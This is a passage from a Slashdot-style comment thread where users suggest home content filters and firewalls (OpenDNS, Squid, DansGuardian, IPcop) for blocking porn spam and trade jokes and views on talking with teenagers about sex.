    I was told about condoms and sex very young. And I didn't get nekked and teh seXXX until age 20.

    Life happens. And sex is a big part of multicellular life.

    --
    I scream. You scream. I assume that means we're both acquainted with the problem. We proceed.
    1. Re:Sex is bad? by glitch23 · · Score: 1

      Sex is not in and of itself bad. God wouldn't have made the requirement for life to be like that and hardly anyone views it as a bad experience or immoral. The problem is that U.S. society uses sex to make money, have a good time. I think if anything when talking to children that should be the key point. It is good that it feels good but that isn't the real reason why it exists and most of the people that kids are going to hear about doing it is going to be the people who do it because it feels good. Using that as the reason for having sex gets many people into trouble.

      --
      this nation, under God, shall have a new birth of freedom. -- Lincoln, Gettysburg Address
    2. Re:Sex is bad? by Anonymous Coward · · Score: 0

      You wanna see bad? Consider the alternative: mitosis! How disgusting would it be to walk down the street and see some fat guy spontaneously split into TWO fat guys?!

      Don't be silly, a fat guy wouldn't split into two fat guys. He'd split into two skinny guys. Taking that a bit further it'd also mean a fat chick would split into two skinny chicks. Hmmm, maybe that mitosis thing isn't so bad after all. ;)

  165. I have a service by pugugly · · Score: 1

    For a small fee you can subscribe to our proprietary whitelisting system - it simply tracks down every male at every IP your computer system interacts with and sends a gentleman of our acquaintance with the middle-name "The" to the residence associated with the IP.

    If they're whitelisted, we simply break their kneecaps.

    We've had very few complaints.

    --
    An Invisible Entity of Vast Power whose existence must be taken on faith alone: Liberal Media
    1. Re:I have a service by Anonymous Coward · · Score: 0

      tracks down every male at every IP your computer system interacts with ... If they're whitelisted, we simply break their kneecaps.

      Dare I ask what you do if they aren't whitelisted?

  166. Adzapper by Anonymous Coward · · Score: 0

    One solution to that comes to mind, if you want to get rid of invasive ads is:
    http://adzapper.sourceforge.net/

    There are easier ways to implement this but, I just remembered this URL.

  167. Just move to Australia by Bunyip+Redgum · · Score: 1

    Just move to Australia and let Senator Conroy do it for you as he tries to go one better than the Great Internet Wall of China!

  168. Default deny by rgviza · · Score: 1

    White list, default deny for the win. It's only rough for a little while.

    There is no better way than to keep the banners from popping up in the first place...

    As well if you lock your firewall down, there's no way for her to go some place you don't allow.

    It's not about being KGB on your kid, it's about not letting harmful stuff into your network.

    My network is unmonitored, and I don't stand over my kids shoulder (figuratively speaking), but I do know that any source of content coming into my network has been approved by me.

    Before anyone tells me this can be bypassed with a proxy, be aware that I have to approve the proxy for it to work ;)

    -Viz

    --
    Don't kid yourself. It's the size of the regexp AND how you use it that counts.
  169. ClarkConnect by pr0f3550r · · Score: 1

    I use a fantastic open source firewall/content filter called ClarkConnect. It's content filter based on DansGuardian works fantastically and it is easy enough for my wife to manage. The community edition is free and open source and uses a web interface.

  170. OpenDNS && Squid by Anonymous Coward · · Score: 0

    OpenDNS and Squid with a blacklist. This is what I use on my own home network to keep my less sophisticated family members "safer" on the internet.

  171. My Two Cents (Long Post) by Gaian-Orlanthii · · Score: 1

    I didn't bother reading all the (600+) replies so far because the first few were typically just a bunch of jokers looking for attention. So apologies if what I post now hasn't already been said.
    You haven't said what age your daughter is and presumably she's heterosexual. Also, are you her father or mother? Whatever the case, I think it's important that you remember that you were a kid once too.
    I think that the most important 'filter' when it comes to deciding what your kids should see/read/hear/talk about isn't some arbitrary set of rules drawn up by someone else, whether that person is a priest, a politician, a judge or the owner of an ISP. It's yourself.
    It has been said that we don't own our children (very true), but we are the guardians of them for society. I don't entirely agree with that last part because it implies that once they become 'adults' (as in: whatever legal or socially determined threshold makes them independent of you and suddenly responsible for themselves) they should be handed over to that society's will. Which could be conscription, indentured servitude, arranged marriage, legal requirement, body mutilation, anything.
    I think that the most serious parenting problems kids and their parents have are not pornography, violence, or career choices - but FEAR and IGNORANCE.

    You Don't Know What To Do and You Are Afraid.
    Try this: You are worried about your daughter getting hassled by aggressive porn spammers but (apparently) you don't mind her talking sexually about boys. So explain to her what the porn industry is really all about. That it's a large business that sells sex movies for entertainment. And for example, show her 'The Annabelle Chong Story' and 'Ron Jeremy: Porn Star'. (To my mind, films every kid should see.)
    Kids aren't stupid, they're just the noobs of life. So once you teach her that the worst problem with those arsehole porn spammers is that they use you, waste your bandwidth and try to put trojans on your PC, she'll probably lose interest in porn they way that girls usually lose interest in society queens after they've been mocked on Facebook for not being pretty or rich enough.
    So given some good advice by someone she can trust, your daughter should be a lot more confident and more inclined to come to you for advice later on.

    One more point: one of the earlier posters replied that you should just put the PC in the living room. Stupid stupid move. Teenagers need privacy. It's because they need to explore their sense of self and make decisions about their lives ON THEIR OWN TERMS. As you were a teenager once, you should remember this.
    Don't insult your daughter's intelligence and give her reason to believe that anything you say is bogus.

    Hope I've helped.

    1. Re:My Two Cents (Long Post) by Anonymous Coward · · Score: 0

      You haven't said what age your daughter is and presumably she's heterosexual.

      Presumably so. Was "hot guys" a clue, or did something else tip you off?

      Also, are you her father or mother?

      His name is Bill, and he's obviously her mother. Also, he has a blog, which has an "About" section, which is linked to from his moniker, which is in TFS.

  172. Dumb question time..Menza members shield your eyes by justthinkit · · Score: 1

    Why does OpenDNS do this? Doesn't this bring them humungous(/humongous?) amounts of traffic (that I can't imagine how they would monetize)?

    --
    I come here for the love
  173. Filtering by Dazana · · Score: 1

    A while back i used IPcop (http://www.ipcop.org/) It is basically a Linux firewall with alot of neat stuff attached to it. Works with ADSL/Cable/PPPoe ect. You might want to look at the proxy configuration. You may also need an addon that will filter what you want. The addon is updated daily and it will block those sites you don't want your child to visit. Very easy to setup and use. I also like the POP3 Proxy, this will scannall incomming e-mail and filter junk mail.

  174. http://DansGuardian.org/ by Anonymous Coward · · Score: 0

    Good Bloody Cripes!!

    Can't ANYONE here answer the single question posed?

    http://dansguardian.org/

    Give it a shot.